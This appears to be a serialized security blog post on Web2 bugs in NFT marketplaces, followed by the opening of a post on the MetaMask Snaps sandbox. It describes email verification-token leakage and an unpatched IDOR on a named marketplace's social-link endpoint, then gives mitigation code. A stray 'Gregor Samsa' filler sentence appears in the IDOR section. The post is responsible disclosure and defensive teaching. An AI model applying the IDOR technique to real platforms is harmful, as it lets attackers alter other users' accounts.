occured",{"type":24,"value":948},{"type":19,"tag":7050,"props":32281,"children":32283},{"id":32282},"verification-token-leakage",[32284],{"type":24,"value":32285},"Verification Token Leakage",{"type":19,"tag":20,"props":32287,"children":32288},{},[32289],{"type":24,"value":32290},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":19,"tag":20,"props":32292,"children":32293},{},[32294],{"type":24,"value":32295},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":19,"tag":20,"props":32297,"children":32298},{},[32299,32304],{"type":19,"tag":293,"props":32300,"children":32301},{},[32302],{"type":24,"value":32303},"Proof of Concept",{"type":24,"value":32305},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":19,"tag":20,"props":32307,"children":32308},{},[32309],{"type":24,"value":32310},"Here's the breakdown.",{"type":19,"tag":20,"props":32312,"children":32313},{},[32314],{"type":24,"value":32315},"First, we send the verification link to a user's email:",{"type":19,"tag":28818,"props":32317,"children":32318},{"style":28820},[32319],{"type":19,"tag":1344,"props":32320,"children":32324},{"src":32321,"alt":32322,"style":32323},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":19,"tag":20,"props":32326,"children":32327},{},[32328],{"type":24,"value":32329},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":19,"tag":7050,"props":32331,"children":32333},{"id":32332},"idor",[32334],{"type":24,"value":32335},"IDOR",{"type":19,"tag":20,"props":32337,"children":32338},{},[32339],{"type":19,"tag":293,"props":32340,"children":32341},{},[32342,32344,32351],{"type":24,"value":32343},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":19,"tag":269,"props":32345,"children":32348},{"href":32346,"rel":32347},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[273],[32349],{"type":24,"value":32350},"insect",{"type":24,"value":948},{"type":19,"tag":20,"props":32353,"children":32354},{},[32355,32357,32363],{"type":24,"value":32356},"During a security assessment of the ",{"type":19,"tag":269,"props":32358,"children":32361},{"href":32359,"rel":32360},"https://rocki.com",[273],[32362],{"type":24,"value":28756},{"type":24,"value":32364},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":19,"tag":20,"props":32366,"children":32367},{},[32368],{"type":24,"value":32369},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":19,"tag":20,"props":32371,"children":32372},{},[32373],{"type":24,"value":32374},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":19,"tag":20,"props":32376,"children":32377},{},[32378,32380,32386,32388,32393],{"type":24,"value":32379},"Here is an example of a request that modifies another user's social media link to ",{"type":19,"tag":27,"props":32381,"children":32383},{"className":32382},[],[32384],{"type":24,"value":32385},"https://evil.com/",{"type":24,"value":32387},". To achieve this, we simply changed the ",{"type":19,"tag":27,"props":32389,"children":32391},{"className":32390},[],[32392],{"type":24,"value":893},{"type":24,"value":32394}," field value to one that belongs to another user:",{"type":19,"tag":20,"props":32396,"children":32397},{},[32398],{"type":19,"tag":1344,"props":32399,"children":32401},{"alt":7,"src":32400},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":19,"tag":20,"props":32403,"children":32404},{},[32405],{"type":24,"value":32406},"The following screenshot is the response to our request:",{"type":19,"tag":20,"props":32408,"children":32409},{},[32410],{"type":19,"tag":1344,"props":32411,"children":32413},{"alt":7,"src":32412},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":19,"tag":36,"props":32415,"children":32417},{"id":32416},"preventative-action-steps-for-marketplaces",[32418],{"type":19,"tag":51,"props":32419,"children":32420},{},[32421],{"type":24,"value":32422},"Preventative Action Steps for Marketplaces",{"type":19,"tag":20,"props":32424,"children":32425},{},[32426],{"type":24,"value":32427},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":19,"tag":20,"props":32429,"children":32430},{},[32431,32433,32439,32441,32447],{"type":24,"value":32432},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":19,"tag":27,"props":32434,"children":32436},{"className":32435},[],[32437],{"type":24,"value":32438},"innerText",{"type":24,"value":32440}," instead of ",{"type":19,"tag":27,"props":32442,"children":32444},{"className":32443},[],[32445],{"type":24,"value":32446},"innerHTML",{"type":24,"value":32448}," in client-side:",{"type":19,"tag":158,"props":32450,"children":32452},{"className":28835,"code":32451,"language":28837,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[32453],{"type":19,"tag":27,"props":32454,"children":32455},{"__ignoreMap":7},[32456],{"type":19,"tag":168,"props":32457,"children":32458},{"class":170,"line":171},[32459,32463,32467,32472,32476,32481,32485,32489,32493,32498],{"type":19,"tag":168,"props":32460,"children":32461},{"style":393},[32462],{"type":24,"value":30180},{"type":19,"tag":168,"props":32464,"children":32465},{"style":212},[32466],{"type":24,"value":948},{"type":19,"tag":168,"props":32468,"children":32469},{"style":175},[32470],{"type":24,"value":32471},"getElementById",{"type":19,"tag":168,"props":32473,"children":32474},{"style":212},[32475],{"type":24,"value":500},{"type":19,"tag":168,"props":32477,"children":32478},{"style":181},[32479],{"type":24,"value":32480},"'nftCollectionName'",{"type":19,"tag":168,"props":32482,"children":32483},{"style":212},[32484],{"type":24,"value":18197},{"type":19,"tag":168,"props":32486,"children":32487},{"style":393},[32488],{"type":24,"value":32438},{"type":19,"tag":168,"props":32490,"children":32491},{"style":399},[32492],{"type":24,"value":402},{"type":19,"tag":168,"props":32494,"children":32495},{"style":393},[32496],{"type":24,"value":32497}," nftCollectionName",{"type":19,"tag":168,"props":32499,"children":32500},{"style":212},[32501],{"type":24,"value":412},{"type":19,"tag":20,"props":32503,"children":32504},{},[32505],{"type":24,"value":32506},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":19,"tag":158,"props":32508,"children":32510},{"className":28835,"code":32509,"language":28837,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[32511],{"type":19,"tag":27,"props":32512,"children":32513},{"__ignoreMap":7},[32514],{"type":19,"tag":168,"props":32515,"children":32516},{"class":170,"line":171},[32517,32522,32527,32531,32536,32540,32545,32549,32554],{"type":19,"tag":168,"props":32518,"children":32519},{"style":382},[32520],{"type":24,"value":32521},"var",{"type":19,"tag":168,"props":32523,"children":32524},{"style":393},[32525],{"type":24,"value":32526}," sanitizedInput",{"type":19,"tag":168,"props":32528,"children":32529},{"style":399},[32530],{"type":24,"value":402},{"type":19,"tag":168,"props":32532,"children":32533},{"style":393},[32534],{"type":24,"value":32535}," DOMPurify",{"type":19,"tag":168,"props":32537,"children":32538},{"style":212},[32539],{"type":24,"value":948},{"type":19,"tag":168,"props":32541,"children":32542},{"style":175},[32543],{"type":24,"value":32544},"sanitize",{"type":19,"tag":168,"props":32546,"children":32547},{"style":212},[32548],{"type":24,"value":500},{"type":19,"tag":168,"props":32550,"children":32551},{"style":393},[32552],{"type":24,"value":32553},"userInput",{"type":19,"tag":168,"props":32555,"children":32556},{"style":212},[32557],{"type":24,"value":1249},{"type":19,"tag":20,"props":32559,"children":32560},{},[32561,32563,32570],{"type":24,"value":32562},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":19,"tag":269,"props":32564,"children":32567},{"href":32565,"rel":32566},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[273],[32568],{"type":24,"value":32569},"Content-Security-Policy",{"type":24,"value":32571}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":19,"tag":20,"props":32573,"children":32574},{},[32575],{"type":24,"value":32576},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":19,"tag":20,"props":32578,"children":32579},{},[32580,32582,32589],{"type":24,"value":32581},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":19,"tag":269,"props":32583,"children":32586},{"href":32584,"rel":32585},"https://www.techtarget.com/whatis/definition/whitelist",[273],[32587],{"type":24,"value":32588},"allow-list",{"type":24,"value":32590}," :",{"type":19,"tag":158,"props":32592,"children":32594},{"className":28835,"code":32593,"language":28837,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[32595],{"type":19,"tag":27,"props":32596,"children":32597},{"__ignoreMap":7},[32598,32627,32669,32699],{"type":19,"tag":168,"props":32599,"children":32600},{"class":170,"line":171},[32601,32605,32610,32614,32618,32623],{"type":19,"tag":168,"props":32602,"children":32603},{"style":382},[32604],{"type":24,"value":7097},{"type":19,"tag":168,"props":32606,"children":32607},{"style":393},[32608],{"type":24,"value":32609}," allowDomains",{"type":19,"tag":168,"props":32611,"children":32612},{"style":399},[32613],{"type":24,"value":402},{"type":19,"tag":168,"props":32615,"children":32616},{"style":212},[32617],{"type":24,"value":20488},{"type":19,"tag":168,"props":32619,"children":32620},{"style":181},[32621],{"type":24,"value":32622},"'https://allowed-domain'",{"type":19,"tag":168,"props":32624,"children":32625},{"style":212},[32626],{"type":24,"value":29046},{"type":19,"tag":168,"props":32628,"children":32629},{"class":170,"line":198},[32630,32634,32638,32642,32647,32651,32656,32660,32664],{"type":19,"tag":168,"props":32631,"children":32632},{"style":419},[32633],{"type":24,"value":13027},{"type":19,"tag":168,"props":32635,"children":32636},{"style":212},[32637],{"type":24,"value":461},{"type":19,"tag":168,"props":32639,"children":32640},{"style":399},[32641],{"type":24,"value":18076},{"type":19,"tag":168,"props":32643,"children":32644},{"style":393},[32645],{"type":24,"value":32646},"allowDomains",{"type":19,"tag":168,"props":32648,"children":32649},{"style":212},[32650],{"type":24,"value":948},{"type":19,"tag":168,"props":32652,"children":32653},{"style":175},[32654],{"type":24,"value":32655},"includes",{"type":19,"tag":168,"props":32657,"children":32658},{"style":212},[32659],{"type":24,"value":500},{"type":19,"tag":168,"props":32661,"children":32662},{"style":393},[32663],{"type":24,"value":30190},{"type":19,"tag":168,"props":32665,"children":32666},{"style":212},[32667],{"type":24,"value":32668},")) {\n",{"type":19,"tag":168,"props":32670,"children":32671},{"class":170,"line":415},[32672,32677,32681,32686,32690,32695],{"type":19,"tag":168,"props":32673,"children":32674},{"style":419},[32675],{"type":24,"value":32676}," throw",{"type":19,"tag":168,"props":32678,"children":32679},{"style":382},[32680],{"type":24,"value":29405},{"type":19,"tag":168,"props":32682,"children":32683},{"style":175},[32684],{"type":24,"value":32685}," ApolloError",{"type":19,"tag":168,"props":32687,"children":32688},{"style":212},[32689],{"type":24,"value":500},{"type":19,"tag":168,"props":32691,"children":32692},{"style":181},[32693],{"type":24,"value":32694},"'invalid domain'",{"type":19,"tag":168,"props":32696,"children":32697},{"style":212},[32698],{"type":24,"value":1249},{"type":19,"tag":168,"props":32700,"children":32701},{"class":170,"line":450},[32702],{"type":19,"tag":168,"props":32703,"children":32704},{"style":212},[32705],{"type":24,"value":1326},{"type":19,"tag":20,"props":32707,"children":32708},{},[32709,32711,32718,32720,32727],{"type":24,"value":32710},"As ",{"type":19,"tag":269,"props":32712,"children":32715},{"href":32713,"rel":32714},"https://graphql.org/",[273],[32716],{"type":24,"value":32717},"GraphQl",{"type":24,"value":32719}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":19,"tag":269,"props":32721,"children":32724},{"href":32722,"rel":32723},"https://graphql.org/learn/introspection/",[273],[32725],{"type":24,"value":32726},"introspection",{"type":24,"value":32728}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":19,"tag":158,"props":32730,"children":32732},{"className":28835,"code":32731,"language":28837,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[32733],{"type":19,"tag":27,"props":32734,"children":32735},{"__ignoreMap":7},[32736,32765,32777,32789,32805],{"type":19,"tag":168,"props":32737,"children":32738},{"class":170,"line":171},[32739,32743,32748,32752,32756,32761],{"type":19,"tag":168,"props":32740,"children":32741},{"style":382},[32742],{"type":24,"value":7097},{"type":19,"tag":168,"props":32744,"children":32745},{"style":393},[32746],{"type":24,"value":32747}," server",{"type":19,"tag":168,"props":32749,"children":32750},{"style":399},[32751],{"type":24,"value":402},{"type":19,"tag":168,"props":32753,"children":32754},{"style":382},[32755],{"type":24,"value":29405},{"type":19,"tag":168,"props":32757,"children":32758},{"style":175},[32759],{"type":24,"value":32760}," ApolloServer",{"type":19,"tag":168,"props":32762,"children":32763},{"style":212},[32764],{"type":24,"value":12587},{"type":19,"tag":168,"props":32766,"children":32767},{"class":170,"line":198},[32768,32773],{"type":19,"tag":168,"props":32769,"children":32770},{"style":393},[32771],{"type":24,"value":32772}," typeDefs",{"type":19,"tag":168,"props":32774,"children":32775},{"style":212},[32776],{"type":24,"value":915},{"type":19,"tag":168,"props":32778,"children":32779},{"class":170,"line":415},[32780,32785],{"type":19,"tag":168,"props":32781,"children":32782},{"style":393},[32783],{"type":24,"value":32784}," resolvers",{"type":19,"tag":168,"props":32786,"children":32787},{"style":212},[32788],{"type":24,"value":915},{"type":19,"tag":168,"props":32790,"children":32791},{"class":170,"line":450},[32792,32797,32801],{"type":19,"tag":168,"props":32793,"children":32794},{"style":393},[32795],{"type":24,"value":32796}," introspection:",{"type":19,"tag":168,"props":32798,"children":32799},{"style":382},[32800],{"type":24,"value":6497},{"type":19,"tag":168,"props":32802,"children":32803},{"style":212},[32804],{"type":24,"value":915},{"type":19,"tag":168,"props":32806,"children":32807},{"class":170,"line":560},[32808],{"type":19,"tag":168,"props":32809,"children":32810},{"style":212},[32811],{"type":24,"value":32812},"});\n",{"type":19,"tag":20,"props":32814,"children":32815},{},[32816,32818,32825,32827,32834],{"type":24,"value":32817},"Similarly, when ",{"type":19,"tag":269,"props":32819,"children":32822},{"href":32820,"rel":32821},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[273],[32823],{"type":24,"value":32824},"batching",{"type":24,"value":32826}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":19,"tag":269,"props":32828,"children":32831},{"href":32829,"rel":32830},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[273],[32832],{"type":24,"value":32833},"denial-of-service",{"type":24,"value":32835}," (DoS) attacks.",{"type":19,"tag":20,"props":32837,"children":32838},{},[32839],{"type":24,"value":32840},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":19,"tag":20,"props":32842,"children":32843},{},[32844],{"type":24,"value":32845},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":19,"tag":32847,"props":32848,"children":32849},"h1",{"id":26402},[32850],{"type":24,"value":16400},{"type":19,"tag":20,"props":32852,"children":32853},{},[32854],{"type":24,"value":32855},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":19,"tag":20,"props":32857,"children":32858},{},[32859],{"type":24,"value":32860},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":19,"tag":36,"props":32862,"children":32864},{"id":32863},"disclaimer",[32865],{"type":24,"value":32866},"Disclaimer",{"type":19,"tag":20,"props":32868,"children":32869},{},[32870],{"type":24,"value":32871},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":19,"tag":232,"props":32873,"children":32874},{},[32875],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":32877},[32878,32881,32887,32891,32892],{"id":26485,"depth":198,"text":26488,"children":32879},[32880],{"id":300,"depth":415,"text":303},{"id":28679,"depth":198,"text":28709,"children":32882},[32883,32884,32885,32886],{"id":28728,"depth":415,"text":28731},{"id":28793,"depth":415,"text":28796},{"id":31625,"depth":415,"text":31628},{"id":31915,"depth":415,"text":31918},{"id":32260,"depth":198,"text":32263,"children":32888},[32889,32890],{"id":32282,"depth":415,"text":32285},{"id":32332,"depth":415,"text":32335},{"id":32416,"depth":198,"text":32422},{"id":32863,"depth":198,"text":32866},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":32897,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32898,"description":32899,"author":32900,"image":32901,"date":32903,"isFeatured":14,"onBlogPage":14,"body":32904,"_type":242,"_id":37920,"_source":244,"_file":37921,"_stem":37922,"_extension":247},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[28673,28672],{"src":32902,"height":11068,"width":11069},"/posts/metamask-snaps/header.png","2023-11-01",{"type":16,"children":32905,"toc":37901},[32906,32910,32915,32920,32925,32931,32936,32942,32955,32960,32965,32972,33004,33010,33015,33033,33040,33046,33060,33066,33086,33350,33378,33384,33403,33789,33808,33821,34139,34160,34431,34436,34442,34447,34460,34465,34478,34737,34781,34794,34800,34814,34820,34826,34839,34876,34882,34902,35013,35040,35046,35064,35077,35083,35088,35106,35217,35222,35243,35256,35273,35373,35399,35416,35538,35564,35576,35581,35587,35593,35598,35621,35626,35631,35637,35643,35670,36073,36100,36127,36133,36164,36473,36492,36497,36522,36535,36541,36568,36863,36899,36917,36922,36957,36962,36966,36971,36978,36983,37010,37787,37807,37813,37834,37883,37887,37892,37897],{"type":19,"tag":36,"props":32907,"children":32908},{"id":16409},[32909],{"type":24,"value":16412},{"type":19,"tag":20,"props":32911,"children":32912},{},[32913],{"type":24,"value":32914},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":19,"tag":20,"props":32916,"children":32917},{},[32918],{"type":24,"value":32919},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":19,"tag":20,"props":32921,"children":32922},{},[32923],{"type":24,"value":32924},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":19,"tag":36,"props":32926,"children":32928},{"id":32927},"sandbox-security",[32929],{"type":24,"value":32930},"Sandbox Security",{"type":19,"tag":20,"props":32932,"children":32933},{},[32934],{"type":24,"value":32935},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":19,"tag":7050,"props":32937,"children":32939},{"id":32938},"permission-based-security",[32940],{"type":24,"value":32941},"Permission-based security",{"type":19,"tag":20,"props":32943,"children":32944},{},[32945,32947,32953],{"type":24,"value":32946},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":19,"tag":27,"props":32948,"children":32950},{"className":32949},[],[32951],{"type":24,"value":32952},"snap.manifest.json",{"type":24,"value":32954}," file and can be critical to security.",{"type":19,"tag":20,"props":32956,"children":32957},{},[32958],{"type":24,"value":32959},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":19,"tag":20,"props":32961,"children":32962},{},[32963],{"type":24,"value":32964},"Here are the critical permissions possible to be given to a snap:",{"type":19,"tag":20,"props":32966,"children":32967},{},[32968],{"type":19,"tag":1344,"props":32969,"children":32971},{"alt":7,"src":32970},"/posts/metamask-snaps/permissions.png",[],{"type":19,"tag":43,"props":32973,"children":32974},{},[32975,32993],{"type":19,"tag":47,"props":32976,"children":32977},{},[32978,32984,32985,32991],{"type":19,"tag":27,"props":32979,"children":32981},{"className":32980},[],[32982],{"type":24,"value":32983},"snap_getBip44Entropy",{"type":24,"value":8436},{"type":19,"tag":27,"props":32986,"children":32988},{"className":32987},[],[32989],{"type":24,"value":32990},"snap_getBip32Entropy",{"type":24,"value":32992}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":19,"tag":47,"props":32994,"children":32995},{},[32996,33002],{"type":19,"tag":27,"props":32997,"children":32999},{"className":32998},[],[33000],{"type":24,"value":33001},"endowment:transaction-insight",{"type":24,"value":33003}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":19,"tag":7050,"props":33005,"children":33007},{"id":33006},"snap-execution-environment",[33008],{"type":24,"value":33009},"Snap execution environment",{"type":19,"tag":20,"props":33011,"children":33012},{},[33013],{"type":24,"value":33014},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":19,"tag":2869,"props":33016,"children":33017},{},[33018,33023,33028],{"type":19,"tag":47,"props":33019,"children":33020},{},[33021],{"type":24,"value":33022},"An isolated iframe",{"type":19,"tag":47,"props":33024,"children":33025},{},[33026],{"type":24,"value":33027},"LavaMoat",{"type":19,"tag":47,"props":33029,"children":33030},{},[33031],{"type":24,"value":33032},"SES (Secure EcmaScript)",{"type":19,"tag":20,"props":33034,"children":33035},{},[33036],{"type":19,"tag":1344,"props":33037,"children":33039},{"alt":7,"src":33038},"/posts/metamask-snaps/environment.png",[],{"type":19,"tag":7050,"props":33041,"children":33043},{"id":33042},"isolated-iframe-layer-1",[33044],{"type":24,"value":33045},"Isolated Iframe - Layer 1",{"type":19,"tag":20,"props":33047,"children":33048},{},[33049,33051,33058],{"type":24,"value":33050},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":19,"tag":269,"props":33052,"children":33055},{"href":33053,"rel":33054},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[273],[33056],{"type":24,"value":33057},"Iframe",{"type":24,"value":33059}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":19,"tag":16345,"props":33061,"children":33063},{"id":33062},"the-framework-metamask-extension-repo",[33064],{"type":24,"value":33065},"The Framework: Metamask-Extension Repo",{"type":19,"tag":20,"props":33067,"children":33068},{},[33069,33071,33077,33079,33085],{"type":24,"value":33070},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":19,"tag":27,"props":33072,"children":33074},{"className":33073},[],[33075],{"type":24,"value":33076},"metamask-controller.js",{"type":24,"value":33078}," file. Here's a glimpse of the relevant ",{"type":19,"tag":269,"props":33080,"children":33083},{"href":33081,"rel":33082},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[273],[33084],{"type":24,"value":27},{"type":24,"value":1922},{"type":19,"tag":158,"props":33087,"children":33091},{"className":33088,"code":33089,"language":33090,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[33092],{"type":19,"tag":27,"props":33093,"children":33094},{"__ignoreMap":7},[33095,33103,33111,33131,33179,33214,33231,33239,33281,33288,33295,33303,33331,33343],{"type":19,"tag":168,"props":33096,"children":33097},{"class":170,"line":171},[33098],{"type":19,"tag":168,"props":33099,"children":33100},{"style":373},[33101],{"type":24,"value":33102},"// Import snaps-controllers\n",{"type":19,"tag":168,"props":33104,"children":33105},{"class":170,"line":198},[33106],{"type":19,"tag":168,"props":33107,"children":33108},{"style":373},[33109],{"type":24,"value":33110},"// ...\n",{"type":19,"tag":168,"props":33112,"children":33113},{"class":170,"line":415},[33114,33118,33123,33127],{"type":19,"tag":168,"props":33115,"children":33116},{"style":382},[33117],{"type":24,"value":7097},{"type":19,"tag":168,"props":33119,"children":33120},{"style":393},[33121],{"type":24,"value":33122}," snapExecutionServiceArgs",{"type":19,"tag":168,"props":33124,"children":33125},{"style":399},[33126],{"type":24,"value":402},{"type":19,"tag":168,"props":33128,"children":33129},{"style":212},[33130],{"type":24,"value":691},{"type":19,"tag":168,"props":33132,"children":33133},{"class":170,"line":450},[33134,33139,33143,33148,33152,33157,33161,33166,33170,33175],{"type":19,"tag":168,"props":33135,"children":33136},{"style":393},[33137],{"type":24,"value":33138}," iframeUrl:",{"type":19,"tag":168,"props":33140,"children":33141},{"style":382},[33142],{"type":24,"value":29405},{"type":19,"tag":168,"props":33144,"children":33145},{"style":175},[33146],{"type":24,"value":33147}," URL",{"type":19,"tag":168,"props":33149,"children":33150},{"style":212},[33151],{"type":24,"value":500},{"type":19,"tag":168,"props":33153,"children":33154},{"style":393},[33155],{"type":24,"value":33156},"process",{"type":19,"tag":168,"props":33158,"children":33159},{"style":212},[33160],{"type":24,"value":948},{"type":19,"tag":168,"props":33162,"children":33163},{"style":393},[33164],{"type":24,"value":33165},"env",{"type":19,"tag":168,"props":33167,"children":33168},{"style":212},[33169],{"type":24,"value":948},{"type":19,"tag":168,"props":33171,"children":33172},{"style":393},[33173],{"type":24,"value":33174},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":19,"tag":168,"props":33176,"children":33177},{"style":212},[33178],{"type":24,"value":4172},{"type":19,"tag":168,"props":33180,"children":33181},{"class":170,"line":560},[33182,33187,33192,33196,33201,33205,33210],{"type":19,"tag":168,"props":33183,"children":33184},{"style":393},[33185],{"type":24,"value":33186}," messenger:",{"type":19,"tag":168,"props":33188,"children":33189},{"style":382},[33190],{"type":24,"value":33191}," this",{"type":19,"tag":168,"props":33193,"children":33194},{"style":212},[33195],{"type":24,"value":948},{"type":19,"tag":168,"props":33197,"children":33198},{"style":393},[33199],{"type":24,"value":33200},"controllerMessenger",{"type":19,"tag":168,"props":33202,"children":33203},{"style":212},[33204],{"type":24,"value":948},{"type":19,"tag":168,"props":33206,"children":33207},{"style":175},[33208],{"type":24,"value":33209},"getRestricted",{"type":19,"tag":168,"props":33211,"children":33212},{"style":212},[33213],{"type":24,"value":12587},{"type":19,"tag":168,"props":33215,"children":33216},{"class":170,"line":666},[33217,33222,33227],{"type":19,"tag":168,"props":33218,"children":33219},{"style":393},[33220],{"type":24,"value":33221}," name:",{"type":19,"tag":168,"props":33223,"children":33224},{"style":181},[33225],{"type":24,"value":33226}," 'ExecutionService'",{"type":19,"tag":168,"props":33228,"children":33229},{"style":212},[33230],{"type":24,"value":915},{"type":19,"tag":168,"props":33232,"children":33233},{"class":170,"line":694},[33234],{"type":19,"tag":168,"props":33235,"children":33236},{"style":212},[33237],{"type":24,"value":33238}," }),\n",{"type":19,"tag":168,"props":33240,"children":33241},{"class":170,"line":707},[33242,33247,33251,33255,33260,33264,33269,33273,33277],{"type":19,"tag":168,"props":33243,"children":33244},{"style":393},[33245],{"type":24,"value":33246}," 